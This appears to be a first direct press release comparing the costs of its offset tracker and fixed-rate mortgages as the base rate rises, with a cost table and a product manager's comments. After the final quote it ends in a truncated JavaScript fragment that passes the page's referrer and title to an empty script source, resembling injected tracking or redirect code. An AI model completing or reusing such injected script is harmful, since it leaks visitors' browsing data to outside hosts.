first direct offers flexible offset mortgage

first direct’s recent research on customer attitude towards interest rate rises showed that mortgage holders who were ‘free to leave’ their current offer were more sensitive to a rise in monthly payments rather than a rise in rates and that they did not equate one with the other.

in response to this, first direct has crunched some numbers to illustrate the perks and pitfalls of fix versus variable:

1. What happens if you’re on a variable rate and the base rate goes up?

first direct’s 65% LTV 2 year tracker offset at 1.79% + BBR (0.5%) would cost nearly £882 per month for the first 2 years, but if the base rate were to rise by 2% the monthly cost would increase by nearly £198 per month.

2. What would you pay if you fixed?

If the customer were to opt for first direct’s 65% LTV 2 year 3.89% fixed offset instead their monthly payment would remain fixed at £1045.40 per month for the first 2 years.  This is a total cost of £25,089.60 over 2 years and a monthly increase of £163.69 on the current tracker rate (illustrated above).

How would the base rate need to increase over the next 2 years to make the fixed option more appealing?

Month Base Rate Variable rate (1.79% + BBR) Cost per month Total cost
1 – 2 Current 0.5% 2.29% £881.71 £1763.42
3 1.0% 2.79% £928.98 £928.98
4 1.5% 3.29% £977.69 £977.69
5 2.0% 3.79% £1027.81 £1027.81
6 2.25% 4.04% £1053.39 £1053.39
7 – 24 2.5% 4.29% £1079.32 £19427.76
Total cost over 2 years £25179.05

(For indication purposes only)

3. How could you make your offset work for you?

The third option is to use the offset mortgage to its full potential and get ready for inevitable payment increases.  For example if the customer were to take out first direct’s offset tracker, but increase their monthly payments now to £1045 (the same as if they had chosen first direct’s fixed rate) they could save on the total cost of their mortgage, reduce the term and get themselves comfortable with a rate rise before it happens.

Richard Tolchard, Senior Mortgage Product Manager at first direct commented:

“Obviously everything depends on how quickly the Bank of England Base Rate increases, but all indications are that when it does start to rise it will do so steadily.

“Customers may want to consider putting their offset to good use by making as large an overpayment as they can afford, this way they’ll be prepared when the base rate goes up whilst having benefited from the extra months at a lower rate.”s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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